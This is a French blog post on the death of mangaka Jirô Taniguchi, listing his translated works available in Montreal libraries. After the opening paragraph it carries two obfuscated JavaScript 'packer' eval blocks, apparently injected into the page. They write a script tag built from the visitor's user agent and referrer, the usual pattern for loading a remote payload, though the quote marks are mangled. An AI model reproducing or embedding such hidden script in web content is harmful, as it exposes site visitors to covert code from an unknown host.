Décès de Jirô Taniguchi

C’est avec grande consternation que j’ai appris cet après-midi, document.write(“”); via Facebook, le décès d’un des mangaka que je respectais le plus: Jirô Taniguchi est décédé samedi à l’âge de 69 ans! La cause du décès n’a pas été précisé. Il nous manquera terriblement. Toutes mes condoléances à sa famille, ses proches ainsi qu’à ses nombreux admirateurs qui, particulièrement en Europe, ont découvert et grandement apprécié la qualité de son travail. Requiesce in pace, mi magister!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dafzk|var|u0026u|referrer|srizn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aftik|var|u0026u|referrer|afnhd||js|php’.split(‘|’),0,{}))

[Sources: ANN, AnimeLand, Le Figaro, Le Monde, Variety, Yahoo]

Voir aussi: Google et The Manga Critic’s Guide to Jiro Taniguchi.

Lire la suite après le saut de page >>

De nombreux manga de Taniguchi ont été publié en français et en anglais (j’en ai d’ailleurs déjà commenté quelques-uns) mais, heureusement, il en reste encore plusieurs qui n’ont pas été traduits. J’imagine que les éditeurs vont maintenant s’empresser de traduire le reste de son oeuvre. Voici la liste des titres disponibles pour l’instant (dans les bibliothèques de Montréal):

En français

Tokyo Killers (Kana, 2016) [Disponible en bibliothèques]
Rêveries d’un gourmet solitaire (Casterman, 2016) [Disponible en bibliothèques]
Ice Age Chronicle of the Earth (Kana, 2 vols, 2015) [Disponible en bibliothèques]
Elle s’appelait Tomoji (Rue de Sèvres, 2015) [Disponible en bibliothèques]
Les Gardiens du Louvre (Futuropolis, 2014) [Disponible en bibliothèques]
Les Contrées Sauvages (Casterman, 2 vols, 2014-15) [Disponible en bibliothèques]
Trouble is my business (Kana, 4 vols, 2013-14) [Disponible en bibliothèques]
Les enquêtes du limier (Casterman, 2 vols, 2013) [Disponible en bibliothèques]
Furari (Casterman, 2012) [Disponible en bibliothèques]
Enemigo (Casterman, 2012) [Disponible en bibliothèques]
Garôden (Casterman, 2011) [Disponible en bibliothèques]
Au temps de Botchan (Seuil & Casterman, 5 vols, 2002-06 & 2011-13) [Disponible en biblio]
Les Années douces (Casterman, 2 vols, 2010-11) [Disponible en bibliothèques]
Jirô Taniguchi, une anthologie (Casterman, 2010) [Disponible en bibliothèques]
Sky Hawk (Casterman, 2009) [Disponible en bibliothèques]
Blanco (Casterman, 4 vols, 2009-10) [Disponible en bibliothèques]
Mon année (Dargaud, 2009) [Disponible en bibliothèques]
Un zoo en hiver (Casterman, 2009) [Disponible en bibliothèques]
Le Promeneur (Casterman, 2008) [Disponible en bibliothèques]
Le Journal de mon père (Casterman, 2007) [Disponible en bibliothèques]
La Montagne magique (Casterman, 2007) [Disponible en bibliothèques]
Le sauveteur (Casterman, 2007) [Disponible en bibliothèques]
L’Homme de la Toundra (Casterman, 2006) [Disponible en bibliothèques]
Encyclopédie des Animaux de la Préhistoire (Kana, 2006) [Disponible en bibliothèques]
Un Ciel radieux (Casterman, 2006) [Disponible en bibliothèques]
Quartier Lointain (Casterman, 2006) [Disponible en bibliothèques]
K (Kana, 2006) [Disponible en bibliothèques]
Le Gourmet solitaire (Casterman, 2005) [Disponible en bibliothèques]
Terre de rêves (Casterman, 2005) [Disponible en bibliothèques]
Seton (Kana, 4 vols, 2005-08) [Disponible en bibliothèques]
Icare (Kana, 2005) [Disponible en bibliothèques]
Le Sommet des Dieux (Kana, 5 vols, 2004-05) [Disponible en bibliothèques]
L’Orme du Caucase (Casterman, 2004) [Disponible en bibliothèques]
Kaze no Sh?: Le livre du vent (Panini Comics, 2004) [Disponible en bibliothèques]
L’Homme qui marche (Casterman, 1995) [Disponible en bibliothèques]

En anglais / In English

Guardians of the Louvre (Louvre Ed., 2016) [Available at the library]
Furari (Fanfare, 2014)
The walking man (Fanfare, 2011) [Available at the library]
A Zoo in winter (Fanfare, 2011)
The quest for the missing girl (Fanfare, 2010) [Available at the library]
Distant neighbourhood (Fanfare,2009)
Summit of the Gods (Fanfare, 2009-15)
The times of Botchan (Fanfare, 2009-10) [Available at the library]
The Ice Wanderer (Fanfare, 2007)
Samurai Legend (CPM Manga, 2003)
Hotel Harbour View (Viz Comics, 2001)
Benkei in N.Y. (Viz Comics, 2001)

[ Translate ]

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s